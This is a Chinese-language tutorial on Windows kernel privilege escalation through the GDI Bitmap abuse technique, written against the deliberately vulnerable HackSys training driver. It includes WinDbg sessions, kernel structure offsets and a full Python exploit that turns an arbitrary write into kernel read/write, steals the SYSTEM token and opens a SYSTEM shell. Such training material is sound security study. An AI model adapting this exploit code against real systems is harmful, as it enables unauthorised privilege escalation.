Windows特权提升：GDI Bitmap滥用-安全客

0x001 前言

HackSys Extreme Vulnerable Driver是HackSys Team开发的一个Windows Kernel Exploition训练项目，从2016年开始已经开源在了Github上。整个项目编译好了以后只有一个.sys的驱动文件，通过IrpDeviceIoCtlHandler接收到的从用户态送来的特定命令，选择触发相对应的trigger method。各个题目的漏洞点比较明确，很适合作为Windows Kernel Exploitation的入门, Fuzzysecurity上也有一部分题目的分析，无奈是PowerShell版本的，不怎么熟悉，重新用Python实现了一遍。

0x002 调试环境

虚拟机：Windows 10 x64 1511 Feb 2016
主机：Windows 10 x64 1709 Dec 2017
必要工具：
1.VirtualKD[here]
2.OSRloader[here]
3.HackSysExtremeVulnerableDriver[here]
4.Windbg
5.Vmware
PS：具体的环境搭建、驱动编译、装载就不多讲了，网上应该不少，Fuzzysecurity上也有详细过程。

0x003 Proof of concept

本文，我们学习“GDI Bitmap滥用”，需要利用Arbitrary Write这个洞，用IDA打开驱动文件

很明显，漏洞成因就是把What指向的内容往Where指向地址里写8个byte。

先确保我们能够进到这个trigger method

import sys
from ctypes import *

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)

if not hevDevice or hevDevice == -1:
    print "[-] Couldn't get Device Driver handle."
    sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)

kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)

得到这样的反馈就是没问题了

****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******

0x004 How to Exploit it?

学过GDI编程的应该对CreateBitmap这个API不陌生了，具体传入参数如下

HBITMAP CreateBitmap（
 _In_ int nWidth，
 _In_ int nHeight，
 _In_ UINT cPlanes，
 _In_ UINT cBitsPerPel，
 _In_ const VOID * lpvBits
);

执行这个脚本，内核会挂起来，然后Windbg附加上去

import sys,time
from ctypes import *

kernel32 = windll.kernel32
gdi32 = windll.gdi32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)

if not hevDevice or hevDevice == -1:
    print "[-] Couldn't get Device Driver handle."
    sys.exit(0)

bmp = gdi32.CreateBitmap(0x64,0x64,1,32)
print "[+] Bitmap objects Addr: {0}".format(hex(bmp))

kernel32.DebugBreak()
kernel32.DebugBreak()

while True:
  time.sleep(60*60*24)

执行”g”命令，能看到Bitmap返回的句柄被打印出来了

C:Userswooy0ung>python C:Userswooy0ungDesktoppoc.py
[+] Bitmap objects Addr: 0x20050b46

接下来，需要找到GdiSharedHandleTable这个表

kd> !process 0 0 python.exe
PROCESS ffffe00058481840
    SessionId: 1  Cid: 0584    Peb: 002ad000  ParentCid: 02f8
    DirBase: 42277000  ObjectTable: ffffc000e4cf6ac0  HandleCount: <Data Not Accessible>
    Image: python.exe

kd> .process ffffe00058481840
Implicit process is now ffffe000`58481840
WARNING: .cache forcedecodeuser is not enabled
kd> .context
User-mode page directory base is 42277000
kd> r $peb
$peb=00000000002ad000
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
   +0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void

GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针，通过计算获得，ptr = GdiSharedHandleTable + (handle & 0xffff) * (x64:0x18,x86:0x10)，handle是CreateBitmap返回的句柄

kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
   +0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
kd> dq 0x00000000`00b90000 + (0x6105104c & 0xffff)*0x18 L3
00000000`00ba8720  fffff901`44895000 40056105`00000584
00000000`00ba8730  00000000`00000000

那么，0xfffff90144895000便是我们刚刚创建的Bitmap的内核地址，而0x584表示当前进程PID(1412)

可以通过ProcessHacker验证

创建了一个Bitmap Object，同时间SURFACE OBJECT(包括BASEOBJECT、SURFOBJECT和pvScan0)也会被创建，其中pvScan0会指向当前SURFACE OBJECT的像素数据结构

typedef struct {
 BASEOBJECT64   BaseObject;
 SURFOBJ64      SurfObj; 
 .......
} SURFACE64

typedef struct {
 ULONG64    hHmgr;
 ULONG32    ulShareCount;
 WORD       cExclusiveLock;
 WORD       BaseFlags;
 ULONG64    Tid;
} BASEOBJECT64;

typedef struct {
 ULONG64    dhsurf;
 ULONG64    hsurf;
 ULONG64    dhpdev;
 ULONG64    hdev;
 SIZEL      sizlBitmap;
 ULONG64    cjBits;
 ULONG64    pvBits;
 ULONG64    pvScan0;
 ULONG32    lDelta;
 ULONG32    iUniq;
 ULONG32    iBitmapFormat;
 USHORT     iType;
 USHORT     fjBitmap;
} SURFOBJ64

现在创建两个Bitmap Object(hManager和hWorker)，将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，可以通过Arbitraty Write实现

因此，利用API SetBitmapBits hManager可以任意设置hWorker的pvScan0指针指向地址，而hWorker通过API SetBitmapBits与GetBitmapBits对内核地址任意读写。

0x005 Exploit it!

现在我们来讨论一下脚本该怎么写，首先，获取GdiSharedHandleTable的地址。

pbi = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
peb = pbi.PebBaseAddress.contents
gdiHandleTable = peb.GdiSharedHandleTable
print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))

因为微软没有把NtQuerySystemInformation这个API导出到ntdll，导致一些数据结构在Python上找不到，不能简单的“from ctypes.wintypes import *”

需要声明PEB、PROCESS_BASIC_INFORMATION和SYSTEM_MODULE_INFORMATION这几个结构

class PEB(Structure):
    _fields_ = [("Junk", c_byte * 0xF8),
                ("GdiSharedHandleTable", c_void_p)]

class PROCESS_BASIC_INFORMATION(Structure):
    _fields_ = [("Reserved1", LPVOID),
                ("PebBaseAddress", POINTER(PEB)),
                ("Reserved2", LPVOID * 2),
                ("UniqueProcessId", c_void_p),
                ("Reserved3", LPVOID)]

class SYSTEM_MODULE_INFORMATION(Structure):
    _fields_ = [("Reserved", c_void_p * 2),
                ("ImageBase", c_void_p), 
                ("ImageSize", c_long),
                ("Flags", c_ulong),
                ("LoadOrderIndex", c_ushort),
                ("InitOrderIndex", c_ushort),
                ("LoadCount", c_ushort),
                ("ModuleNameOffset", c_ushort),
                ("FullPathName", c_char * 256)]

查询得到GdiSharedHandleTable地址以后就是创建hManager与hWorker，并得到它们的pvscan0指针地址，利用Arbitrary Write写入指针

ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))

ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hWorker_pvscan0_off  : {0}".format(hex(hWorker_pvscan0_off))

写入成功

最后就是找SYSTEM权限的进程，然后把该进程的Token写入到当前进程，这个不多说了。还需要留意几个重要的偏移，不同版本的Win10上可能不一致.

kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks
ntdll!_EPROCESS
   +0x2e8 UniqueProcessId    : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
kd> dt _EPROCESS ImageFileName Token
ntdll!_EPROCESS
   +0x358 Token         : _EX_FAST_REF
   +0x450 ImageFileName : [15] UChar

我这里得到的是

token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0

WIN~

完整的EXP

import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con

kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll

hManager = HBITMAP()
hWorker = HBITMAP()

class PEB(Structure):
    _fields_ = [("Junk", c_byte * 0xF8),
                ("GdiSharedHandleTable", c_void_p)]

class PROCESS_BASIC_INFORMATION(Structure):
    _fields_ = [("Reserved1", LPVOID),
                ("PebBaseAddress", POINTER(PEB)),
                ("Reserved2", LPVOID * 2),
                ("UniqueProcessId", c_void_p),
                ("Reserved3", LPVOID)]

class GDICELL64(Structure):
    _fields_ = [("pKernelAddress", c_void_p),
                ("wProcessId", c_ushort), 
                ("wCount", c_ushort),
                ("wUpper", c_ushort),
                ("wType", c_ushort),
                ("pUserAddress", c_void_p)]

class SYSTEM_MODULE_INFORMATION(Structure):
    _fields_ = [("Reserved", c_void_p * 2),
                ("ImageBase", c_void_p), 
                ("ImageSize", c_long),
                ("Flags", c_ulong),
                ("LoadOrderIndex", c_ushort),
                ("InitOrderIndex", c_ushort),
                ("LoadCount", c_ushort),
                ("ModuleNameOffset", c_ushort),
                ("FullPathName", c_char * 256)]

def write_mem(dest, src, length):
    global hManager
    global hWorker

    write_buf = c_ulonglong(dest)
    gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
    gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)

def read_mem(src, dest, length):
    global hManager
    global hWorker

    write_buf = c_ulonglong(src)
    gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
    gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)

def find_kernelBase(input_modules):
    modules = {}

    # Allocate arbitrary buffer and call NtQuerySystemInformation
    system_information = create_string_buffer(0)
    systeminformationlength = c_ulong(0)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Call NtQuerySystemInformation second time with right size
    system_information = create_string_buffer(systeminformationlength.value)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Read first 4 bytes which contains number of modules retrieved
    module_count = c_ulong(0)
    module_count_string = create_string_buffer(system_information.raw[:8])
    ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))

    # Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
    system_information = create_string_buffer(system_information.raw[8:])
    for x in range(module_count.value):
        smi = SYSTEM_MODULE_INFORMATION()
        temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
        ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
        module_name =  smi.FullPathName.split('\')[-1]
        modules[module_name] = smi

    #debug_print ("rn[+] NtQuerySystemInformation():")

    # Get base addresses and return them in a list
    base_addresses = []
    for input_module in input_modules:
        try:
            base_address = modules[input_module].ImageBase
            #debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
            base_addresses.append(base_address)
        except:
            base_addresses.append(0)

    return base_addresses

def main():
    global hManager
    global hWorker

    hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)

    if not hevDevice or hevDevice == -1:
        print "[-] Couldn't get Device Driver handle."
        sys.exit(0)


    gdi32.CreateBitmap.restype = HBITMAP
    hManager = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
    hWorker = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
    print "[+] hManager Handle      : {0}".format(hex(hManager))
    print "[+] hWorker Handle       : {0}".format(hex(hWorker))


    pbi = PROCESS_BASIC_INFORMATION()
    ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
    ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
    peb = pbi.PebBaseAddress.contents
    gdiHandleTable = peb.GdiSharedHandleTable
    print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))


    ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
    gdicell64 = cast(ptr, POINTER(GDICELL64))
    hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
    print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))

    ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
    gdicell64 = cast(ptr, POINTER(GDICELL64))
    hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
    print "[+] hWorker_pvscan0_off  : {0}".format(hex(hWorker_pvscan0_off))


    write_where = struct.pack("<Q", hManager_pvscan0_off)
    write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
    write_what_object_ptr = id(write_what_object) + 0x20
    write_what_final = struct.pack("<Q", write_what_object_ptr)
    buf = write_what_final + write_where
    buflen = len(buf)
    kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)


    kernelImage = "ntoskrnl.exe"
    kernelImageBase = find_kernelBase(kernelImage.split())[0]

    kernel32.LoadLibraryA.restype = HMODULE
    hKernelImage = kernel32.LoadLibraryA(kernelImage)
    print "[+] Module Name                                  : {0}".format(kernelImage)
    print "[+] Module Base(Userland)                        : {0}".format(hex(hKernelImage))

    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
    PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
    print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))

    PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
    print "[+] PsInitialSystemProcess Kernel Base Address   : {0}".format(hex(PsISP_kernel_addr_ptr))

    PsISP_kernel_addr = c_ulonglong()
    read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
    SYSTEM_EPROCESS = PsISP_kernel_addr.value
    print "[+] SYSTEM EPROCESS                              : {0}".format(hex(SYSTEM_EPROCESS))


    token_off = 0x358
    unique_process_id_off = 0x2e8
    active_process_links_off = 0x2f0

    flink = c_ulonglong()
    read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink)); 

    CURRENT_EPROCESS = 0
    while (True):
        unique_process_id = c_ulonglong(0)

        # Adjust EPROCESS pointer for next entry
        EPROCESS = flink.value - unique_process_id_off - 0x8

        read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));    

        # Check if we're in the current process
        if (os.getpid() == unique_process_id.value):
            CURRENT_EPROCESS = EPROCESS
            break

        read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink)); 

        # If next same as last, we've reached the end
        if (EPROCESS == flink.value - unique_process_id_off - 0x8):
            break
    print "[+] CURRENT EPROCESS                             : {0}".format(hex(CURRENT_EPROCESS))

    system_token = c_ulonglong()
    read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
    write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));

    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

0x006 参考文章

Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit)
Window Kernel Exploit -> GDI Bitmap Abuse
Techwiki:Win32k/BASEOBJECT

Windows特权提升：GDI Bitmap滥用

译文声明

0x001 前言

0x002 调试环境

0x003 Proof of concept

0x004 How to Exploit it?

0x005 Exploit it!

0x006 参考文章

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